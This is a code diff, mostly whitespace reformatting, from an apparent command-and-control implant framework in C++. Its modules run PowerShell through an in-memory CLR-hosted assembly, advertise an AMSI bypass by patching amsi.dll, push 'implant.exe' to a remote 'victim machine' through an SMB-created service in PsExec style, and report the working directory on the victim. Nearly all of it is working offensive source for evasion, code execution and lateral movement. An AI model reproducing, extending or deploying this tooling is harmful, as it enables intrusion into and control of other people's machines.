||||
}
|
||||
|
||||
hostCreated = true;
|
||||
hostCreated = true;
|
||||
|
||||
return hostCreated;
|
||||
return hostCreated;
|
||||
}
|
||||
|
||||
HRESULT createHost(const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost)
|
||||
{
|
||||
bool hostCreated = false;
|
||||
bool hostCreated = false;
|
||||
|
||||
HMODULE hMscoree = LoadLibrary("mscoree.dll");
|
||||
|
||||
if (hMscoree)
|
||||
{
|
||||
if (createDotNetFourHost(&hMscoree, version, ppCorRuntimeHost))
|
||||
{
|
||||
hostCreated = true;
|
||||
}
|
||||
else if (createDotNetTwoHost(&hMscoree, version, ppCorRuntimeHost))
|
||||
{
|
||||
hostCreated = true;
|
||||
}
|
||||
}
|
||||
|
||||
return hostCreated;
|
||||
HMODULE hMscoree = LoadLibrary("mscoree.dll");
|
||||
|
||||
if (hMscoree)
|
||||
{
|
||||
if (createDotNetFourHost(&hMscoree, version, ppCorRuntimeHost))
|
||||
{
|
||||
hostCreated = true;
|
||||
}
|
||||
else if (createDotNetTwoHost(&hMscoree, version, ppCorRuntimeHost))
|
||||
{
|
||||
hostCreated = true;
|
||||
}
|
||||
}
|
||||
|
||||
return hostCreated;
|
||||
}
|
||||
|
||||
#else
|
||||
@@ -171,149 +171,149 @@ __attribute__((visibility("default"))) Powershell* PowershellConstructor()
|
||||
|
||||
Powershell::Powershell()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
m_firstRun=true;
|
||||
m_firstRun=true;
|
||||
}
|
||||
|
||||
Powershell::~Powershell()
|
||||
{
|
||||
#ifdef _WIN32
|
||||
if (pCorRuntimeHost)
|
||||
{
|
||||
pCorRuntimeHost->Release();
|
||||
pCorRuntimeHost = NULL;
|
||||
}
|
||||
if (pCorRuntimeHost)
|
||||
{
|
||||
pCorRuntimeHost->Release();
|
||||
pCorRuntimeHost = NULL;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
std::string Powershell::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "Powershell:\n";
|
||||
info += "Execute a powershell command.\n";
|
||||
info += "To be sure to get the output of the commande do 'cmd | write-output'.\n";
|
||||
info += "You can import module using -i, added as New-Module at every execution.\n";
|
||||
info += "You run scripts using -s.\n";
|
||||
info += "AMSI bypass by patching the amsi.dll will work once for all.\n";
|
||||
info += "exemple:\n";
|
||||
info += " - powershell whoami | write-output\n";
|
||||
info += " - powershell import-module PowerUpSQL.ps1; Get-SQLConnectionObject\n";
|
||||
info += " - powershell -i /tmp/PowerUpSQL.ps1 \n";
|
||||
info += " - powershell -s /tmp/script.ps1 \n";
|
||||
info += "Powershell:\n";
|
||||
info += "Execute a powershell command.\n";
|
||||
info += "To be sure to get the output of the commande do 'cmd | write-output'.\n";
|
||||
info += "You can import module using -i, added as New-Module at every execution.\n";
|
||||
info += "You run scripts using -s.\n";
|
||||
info += "AMSI bypass by patching the amsi.dll will work once for all.\n";
|
||||
info += "exemple:\n";
|
||||
info += " - powershell whoami | write-output\n";
|
||||
info += " - powershell import-module PowerUpSQL.ps1; Get-SQLConnectionObject\n";
|
||||
info += " - powershell -i /tmp/PowerUpSQL.ps1 \n";
|
||||
info += " - powershell -s /tmp/script.ps1 \n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
|
||||
int Powershell::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
|
||||
if(splitedCmd.size()<2)
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
if(splitedCmd.size()<2)
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
|
||||
string shellCmd;
|
||||
for (int i = 1; i < splitedCmd.size(); i++)
|
||||
{
|
||||
shellCmd += splitedCmd[i];
|
||||
shellCmd += " ";
|
||||
}
|
||||
string shellCmd;
|
||||
for (int i = 1; i < splitedCmd.size(); i++)
|
||||
{
|
||||
shellCmd += splitedCmd[i];
|
||||
shellCmd += " ";
|
||||
}
|
||||
|
||||
if(splitedCmd[1]=="-i" || splitedCmd[1]=="-s")
|
||||
{
|
||||
std::string inputFile;
|
||||
if(splitedCmd.size()>=3)
|
||||
inputFile=splitedCmd[2];
|
||||
if(splitedCmd[1]=="-i" || splitedCmd[1]=="-s")
|
||||
{
|
||||
std::string inputFile;
|
||||
if(splitedCmd.size()>=3)
|
||||
inputFile=splitedCmd[2];
|
||||
|
||||
std::ifstream myfile;
|
||||
myfile.open(inputFile, std::ios::binary);
|
||||
std::ifstream myfile;
|
||||
myfile.open(inputFile, std::ios::binary);
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_scriptsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
if(!myfile)
|
||||
{
|
||||
std::string newInputFile=m_scriptsDirectoryPath;
|
||||
newInputFile+=inputFile;
|
||||
myfile.open(newInputFile, std::ios::binary);
|
||||
inputFile=newInputFile;
|
||||
}
|
||||
|
||||
if(!myfile)
|
||||
{
|
||||
std::string msg = "Couldn't open file.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
if(!myfile)
|
||||
{
|
||||
std::string msg = "Couldn't open file.\n";
|
||||
c2Message.set_returnvalue(msg);
|
||||
return -1;
|
||||
}
|
||||
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
|
||||
std::string payload;
|
||||
std::string fileContent(std::istreambuf_iterator<char>(myfile), {});
|
||||
std::string payload;
|
||||
std::string fileContent(std::istreambuf_iterator<char>(myfile), {});
|
||||
|
||||
if(splitedCmd[1]=="-i")
|
||||
{
|
||||
payload = "New-Module -ScriptBlock {\n";
|
||||
payload+=fileContent;
|
||||
payload +="\nExport-ModuleMember -Function * -Alias *;};";
|
||||
}
|
||||
else if(splitedCmd[1]=="-s")
|
||||
{
|
||||
payload += "Invoke-Command -ScriptBlock {\n";
|
||||
payload += fileContent;
|
||||
payload += "};";
|
||||
}
|
||||
if(splitedCmd[1]=="-i")
|
||||
{
|
||||
payload = "New-Module -ScriptBlock {\n";
|
||||
payload+=fileContent;
|
||||
payload +="\nExport-ModuleMember -Function * -Alias *;};";
|
||||
}
|
||||
else if(splitedCmd[1]=="-s")
|
||||
{
|
||||
payload += "Invoke-Command -ScriptBlock {\n";
|
||||
payload += fileContent;
|
||||
payload += "};";
|
||||
}
|
||||
|
||||
c2Message.set_data(payload.data(), payload.size());
|
||||
c2Message.set_data(payload.data(), payload.size());
|
||||
|
||||
myfile.close();
|
||||
}
|
||||
myfile.close();
|
||||
}
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd(shellCmd);
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd(shellCmd);
|
||||
#endif
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
string cmd = c2Message.cmd();
|
||||
string cmd = c2Message.cmd();
|
||||
|
||||
std::vector<std::string> splitedCmd;
|
||||
std::vector<std::string> splitedCmd;
|
||||
splitList(cmd, " ", splitedCmd);
|
||||
|
||||
if(!splitedCmd.empty())
|
||||
{
|
||||
if(splitedCmd[0]=="-i")
|
||||
{
|
||||
const std::string buffer = c2Message.data();
|
||||
if(!splitedCmd.empty())
|
||||
{
|
||||
if(splitedCmd[0]=="-i")
|
||||
{
|
||||
const std::string buffer = c2Message.data();
|
||||
|
||||
m_modulesToImport+=buffer;
|
||||
m_modulesToImport+=buffer;
|
||||
|
||||
std::string outCmd = execPowershell(m_modulesToImport);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
return 0;
|
||||
std::string outCmd = execPowershell(m_modulesToImport);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
return 0;
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
std::string finalCmd = m_modulesToImport;
|
||||
finalCmd += cmd;
|
||||
std::string finalCmd = m_modulesToImport;
|
||||
finalCmd += cmd;
|
||||
|
||||
std::string outCmd = execPowershell(finalCmd);
|
||||
std::string outCmd = execPowershell(finalCmd);
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -321,90 +321,90 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
|
||||
int Powershell::initCLR(std::string& result)
|
||||
{
|
||||
HRESULT hr;
|
||||
IUnknownPtr spAppDomainThunk = NULL;
|
||||
_AppDomainPtr spDefaultAppDomain = NULL;
|
||||
HRESULT hr;
|
||||
IUnknownPtr spAppDomainThunk = NULL;
|
||||
_AppDomainPtr spDefaultAppDomain = NULL;
|
||||
|
||||
// The .NET assembly to load.
|
||||
bstr_t bstrAssemblyName("PowerShellRunner");
|
||||
_AssemblyPtr spAssembly = NULL;
|
||||
// The .NET assembly to load.
|
||||
bstr_t bstrAssemblyName("PowerShellRunner");
|
||||
_AssemblyPtr spAssembly = NULL;
|
||||
|
||||
// The .NET class to instantiate.
|
||||
bstr_t bstrClassName("PowerShellRunner.PowerShellRunner");
|
||||
// _TypePtr spType = NULL;
|
||||
// The .NET class to instantiate.
|
||||
bstr_t bstrClassName("PowerShellRunner.PowerShellRunner");
|
||||
// _TypePtr spType = NULL;
|
||||
|
||||
// Create the runtime host
|
||||
if (!createHost(L"v4.0.30319", &pCorRuntimeHost))
|
||||
{
|
||||
result+="Failed to create the runtime host\n";
|
||||
return -1;
|
||||
}
|
||||
// Create the runtime host
|
||||
if (!createHost(L"v4.0.30319", &pCorRuntimeHost))
|
||||
{
|
||||
result+="Failed to create the runtime host\n";
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
// Start the CLR
|
||||
hr = pCorRuntimeHost->Start();
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="CLR failed to start.\n";
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Start the CLR
|
||||
hr = pCorRuntimeHost->Start();
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="CLR failed to start.\n";
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
DWORD appDomainId = NULL;
|
||||
hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="RuntimeClrHost::GetCurrentAppDomainId failed.\n";
|
||||
return -1;
|
||||
}
|
||||
DWORD appDomainId = NULL;
|
||||
hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="RuntimeClrHost::GetCurrentAppDomainId failed.\n";
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
// Get a pointer to the default AppDomain in the CLR.
|
||||
hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="ICorRuntimeHost::GetDefaultDomain failed.\n";
|
||||
return -1;
|
||||
}
|
||||
// Get a pointer to the default AppDomain in the CLR.
|
||||
hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="ICorRuntimeHost::GetDefaultDomain failed.\n";
|
||||
return -1;
|
||||
}
|
||||
|
||||
hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="Failed to get default AppDomain.\n";
|
||||
return -1;
|
||||
}
|
||||
hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain));
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="Failed to get default AppDomain.\n";
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Load the .NET assembly.
|
||||
// (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe)
|
||||
// hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly);
|
||||
|
||||
// (Option 2) Load the assembly from memory
|
||||
SAFEARRAYBOUND bounds[1];
|
||||
bounds[0].cElements = PowerShellRunner_dll_len;
|
||||
bounds[0].lLbound = 0;
|
||||
// Load the .NET assembly.
|
||||
// (Option 1) Load it from disk - usefully when debugging the PowerShellRunner app (you'll have to copy the DLL into the same directory as the exe)
|
||||
// hr = spDefaultAppDomain->Load_2(bstrAssemblyName, &spAssembly);
|
||||
|
||||
// (Option 2) Load the assembly from memory
|
||||
SAFEARRAYBOUND bounds[1];
|
||||
bounds[0].cElements = PowerShellRunner_dll_len;
|
||||
bounds[0].lLbound = 0;
|
||||
|
||||
SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds);
|
||||
SafeArrayLock(arr);
|
||||
memcpy(arr->pvData, PowerShellRunner_dll, PowerShellRunner_dll_len);
|
||||
SafeArrayUnlock(arr);
|
||||
SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds);
|
||||
SafeArrayLock(arr);
|
||||
memcpy(arr->pvData, PowerShellRunner_dll, PowerShellRunner_dll_len);
|
||||
SafeArrayUnlock(arr);
|
||||
|
||||
hr = spDefaultAppDomain->Load_3(arr, &spAssembly);
|
||||
hr = spDefaultAppDomain->Load_3(arr, &spAssembly);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="Failed to load the assembly.\n";
|
||||
return -1;
|
||||
}
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="Failed to load the assembly.\n";
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Get the Type of PowerShellRunner.
|
||||
hr = spAssembly->GetType_2(bstrClassName, &spType);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="Failed to get the Type interface.\n";
|
||||
return -1;
|
||||
}
|
||||
// Get the Type of PowerShellRunner.
|
||||
hr = spAssembly->GetType_2(bstrClassName, &spType);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="Failed to get the Type interface.\n";
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -412,37 +412,37 @@ int Powershell::initCLR(std::string& result)
|
||||
|
||||
std::string Powershell::execPowershell(const std::string& cmd)
|
||||
{
|
||||
std::string result;
|
||||
std::string result;
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
|
||||
#elif _WIN32
|
||||
|
||||
if(m_firstRun)
|
||||
{
|
||||
int err = initCLR(result);
|
||||
m_firstRun=false;
|
||||
if(err!=0)
|
||||
{
|
||||
if (pCorRuntimeHost)
|
||||
{
|
||||
pCorRuntimeHost->Release();
|
||||
pCorRuntimeHost = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
if(m_firstRun)
|
||||
{
|
||||
int err = initCLR(result);
|
||||
m_firstRun=false;
|
||||
if(err!=0)
|
||||
{
|
||||
if (pCorRuntimeHost)
|
||||
{
|
||||
pCorRuntimeHost->Release();
|
||||
pCorRuntimeHost = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (pCorRuntimeHost)
|
||||
{
|
||||
wstring wide_string = wstring(cmd.begin(), cmd.end());
|
||||
wchar_t* argument = wide_string.data();
|
||||
InvokeMethod(spType, L"InvokePS", argument, result);
|
||||
}
|
||||
if (pCorRuntimeHost)
|
||||
{
|
||||
wstring wide_string = wstring(cmd.begin(), cmd.end());
|
||||
wchar_t* argument = wide_string.data();
|
||||
InvokeMethod(spType, L"InvokePS", argument, result);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
@@ -450,45 +450,45 @@ std::string Powershell::execPowershell(const std::string& cmd)
|
||||
|
||||
void Powershell::InvokeMethod(_TypePtr spType, const wchar_t* method, wchar_t* command, std::string& result)
|
||||
{
|
||||
HRESULT hr;
|
||||
bstr_t bstrStaticMethodName(method);
|
||||
SAFEARRAY *psaStaticMethodArgs = NULL;
|
||||
variant_t vtStringArg(command);
|
||||
variant_t vtPSInvokeReturnVal;
|
||||
variant_t vtEmpty;
|
||||
HRESULT hr;
|
||||
bstr_t bstrStaticMethodName(method);
|
||||
SAFEARRAY *psaStaticMethodArgs = NULL;
|
||||
variant_t vtStringArg(command);
|
||||
variant_t vtPSInvokeReturnVal;
|
||||
variant_t vtEmpty;
|
||||
|
||||
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
||||
LONG index = 0;
|
||||
hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="SafeArrayPutElement failed.";
|
||||
return;
|
||||
}
|
||||
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
||||
LONG index = 0;
|
||||
hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg);
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="SafeArrayPutElement failed.";
|
||||
return;
|
||||
}
|
||||
|
||||
// Invoke the method from the Type interface.
|
||||
hr = spType->InvokeMember_3(
|
||||
bstrStaticMethodName,
|
||||
static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
|
||||
NULL,
|
||||
vtEmpty,
|
||||
psaStaticMethodArgs,
|
||||
&vtPSInvokeReturnVal);
|
||||
// Invoke the method from the Type interface.
|
||||
hr = spType->InvokeMember_3(
|
||||
bstrStaticMethodName,
|
||||
static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public),
|
||||
NULL,
|
||||
vtEmpty,
|
||||
psaStaticMethodArgs,
|
||||
&vtPSInvokeReturnVal);
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="Failed to invoke InvokePS.";
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
wstring ws(vtPSInvokeReturnVal.bstrVal);
|
||||
std::string str(ws.begin(), ws.end());
|
||||
result += str;
|
||||
}
|
||||
if (FAILED(hr))
|
||||
{
|
||||
result+="Failed to invoke InvokePS.";
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
wstring ws(vtPSInvokeReturnVal.bstrVal);
|
||||
std::string str(ws.begin(), ws.end());
|
||||
result += str;
|
||||
}
|
||||
|
||||
SafeArrayDestroy(psaStaticMethodArgs);
|
||||
psaStaticMethodArgs = NULL;
|
||||
SafeArrayDestroy(psaStaticMethodArgs);
|
||||
psaStaticMethodArgs = NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
File diff suppressed because one or more lines are too long
@@ -33,9 +33,9 @@ __attribute__((visibility("default"))) PrintWorkingDirectory* PrintWorkingDirect
|
||||
|
||||
PrintWorkingDirectory::PrintWorkingDirectory()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
}
|
||||
@@ -46,41 +46,41 @@ PrintWorkingDirectory::~PrintWorkingDirectory()
|
||||
|
||||
std::string PrintWorkingDirectory::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "PrintWorkingDirectory Module:\n";
|
||||
info += "Print the current working directory on the victim machine.\n";
|
||||
info += "\nExample:\n";
|
||||
info += "- pwd\n";
|
||||
info += "PrintWorkingDirectory Module:\n";
|
||||
info += "Print the current working directory on the victim machine.\n";
|
||||
info += "\nExample:\n";
|
||||
info += "- pwd\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
int PrintWorkingDirectory::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd("");
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_cmd("");
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int PrintWorkingDirectory::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
std::string outCmd = printWorkingDirectory();
|
||||
std::string outCmd = printWorkingDirectory();
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd("");
|
||||
c2RetMessage.set_returnvalue(outCmd);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
std::string PrintWorkingDirectory::printWorkingDirectory()
|
||||
{
|
||||
std::string result;
|
||||
std::string result;
|
||||
result = filesystem::current_path().string();
|
||||
|
||||
return result;
|
||||
return result;
|
||||
}
|
||||
@@ -7,20 +7,20 @@ class PrintWorkingDirectory : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
PrintWorkingDirectory();
|
||||
~PrintWorkingDirectory();
|
||||
PrintWorkingDirectory();
|
||||
~PrintWorkingDirectory();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_LINUX | OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
std::string printWorkingDirectory();
|
||||
std::string printWorkingDirectory();
|
||||
|
||||
};
|
||||
|
||||
|
||||
+32
-32
@@ -49,9 +49,9 @@ __attribute__((visibility("default"))) PsExec* PsExecConstructor()
|
||||
|
||||
PsExec::PsExec()
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
: ModuleCmd(std::string(moduleName), moduleHash)
|
||||
#else
|
||||
: ModuleCmd("", moduleHash)
|
||||
: ModuleCmd("", moduleHash)
|
||||
#endif
|
||||
{
|
||||
srand(time(NULL));
|
||||
@@ -65,7 +65,7 @@ PsExec::~PsExec()
|
||||
|
||||
std::string PsExec::getInfo()
|
||||
{
|
||||
std::string info;
|
||||
std::string info;
|
||||
#ifdef BUILD_TEAMSERVER
|
||||
info += "PsExec Module:\n";
|
||||
info += "Execute a binary on a remote victim machine by creating a service via an SMB share.\n";
|
||||
@@ -75,39 +75,39 @@ std::string PsExec::getInfo()
|
||||
info += "- psExec m3dc.cyber.local /tmp/implant.exe\n";
|
||||
info += "- psExec 10.9.20.10 /tmp/implant.exe\n";
|
||||
#endif
|
||||
return info;
|
||||
return info;
|
||||
}
|
||||
|
||||
|
||||
int PsExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
{
|
||||
if (splitedCmd.size() >= 3)
|
||||
{
|
||||
{
|
||||
string scmServer = splitedCmd[1];
|
||||
string inputFile = splitedCmd[2];
|
||||
string inputFile = splitedCmd[2];
|
||||
|
||||
std::ifstream input(inputFile, std::ios::binary);
|
||||
if( input )
|
||||
{
|
||||
std::string buffer(std::istreambuf_iterator<char>(input), {});
|
||||
std::ifstream input(inputFile, std::ios::binary);
|
||||
if( input )
|
||||
{
|
||||
std::string buffer(std::istreambuf_iterator<char>(input), {});
|
||||
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_cmd(scmServer);
|
||||
c2Message.set_data(buffer.data(), buffer.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue("Failed: Couldn't open file.");
|
||||
return -1;
|
||||
}
|
||||
c2Message.set_instruction(splitedCmd[0]);
|
||||
c2Message.set_inputfile(inputFile);
|
||||
c2Message.set_cmd(scmServer);
|
||||
c2Message.set_data(buffer.data(), buffer.size());
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue("Failed: Couldn't open file.");
|
||||
return -1;
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
c2Message.set_returnvalue(getInfo());
|
||||
return -1;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
@@ -115,7 +115,7 @@ int PsExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
||||
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -137,7 +137,7 @@ std::string randomName( size_t length )
|
||||
|
||||
int PsExec::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
{
|
||||
const std::string cmd = c2Message.cmd();
|
||||
const std::string cmd = c2Message.cmd();
|
||||
|
||||
std::vector<std::string> splitedList;
|
||||
splitList(cmd, ";", splitedList);
|
||||
@@ -189,10 +189,10 @@ int PsExec::process(C2Message &c2Message, C2Message &c2RetMessage)
|
||||
|
||||
#endif
|
||||
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(result);
|
||||
return 0;
|
||||
c2RetMessage.set_instruction(c2RetMessage.instruction());
|
||||
c2RetMessage.set_cmd(cmd);
|
||||
c2RetMessage.set_returnvalue(result);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -7,15 +7,15 @@ class PsExec : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
PsExec();
|
||||
~PsExec();
|
||||
PsExec();
|
||||
~PsExec();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,62 +1,62 @@
|
||||
#include "AssemblyManager.hpp"
|
||||
|
||||
|
||||
MyAssemblyManager::MyAssemblyManager(void)
|
||||
{
|
||||
count = 0;
|
||||
m_assemblyStore = new MyAssemblyStore();
|
||||
};
|
||||
|
||||
|
||||
MyAssemblyManager::~MyAssemblyManager(void)
|
||||
{
|
||||
delete m_assemblyStore;
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostAssemblyManager))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyManager::AddRef()
|
||||
{
|
||||
return(++((MyAssemblyManager*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyAssemblyManager::Release()
|
||||
{
|
||||
if (--((MyAssemblyManager*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyAssemblyManager*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This returns a list of assemblies that we are telling the CLR that we want it to handle loading (when/if a load is requested for them)
|
||||
// We can just return NULL and we will always be asked to load the assembly, but we can tell the CLR to load it in our ProvideAssembly implementation
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetNonHostStoreAssemblies(ICLRAssemblyReferenceList** ppReferenceList)
|
||||
{
|
||||
*ppReferenceList = NULL;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//This is responsible for returning our IHostAssemblyStore implementation
|
||||
HRESULT STDMETHODCALLTYPE MyAssemblyManager::GetAssemblyStore(IHostAssemblyStore** ppAssemblyStore)
|
||||
{
|
||||
*ppAssemblyStore = m_assemblyStore;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
#include "AssemblyManager.hpp"
|
||||
|
||||
|
||||
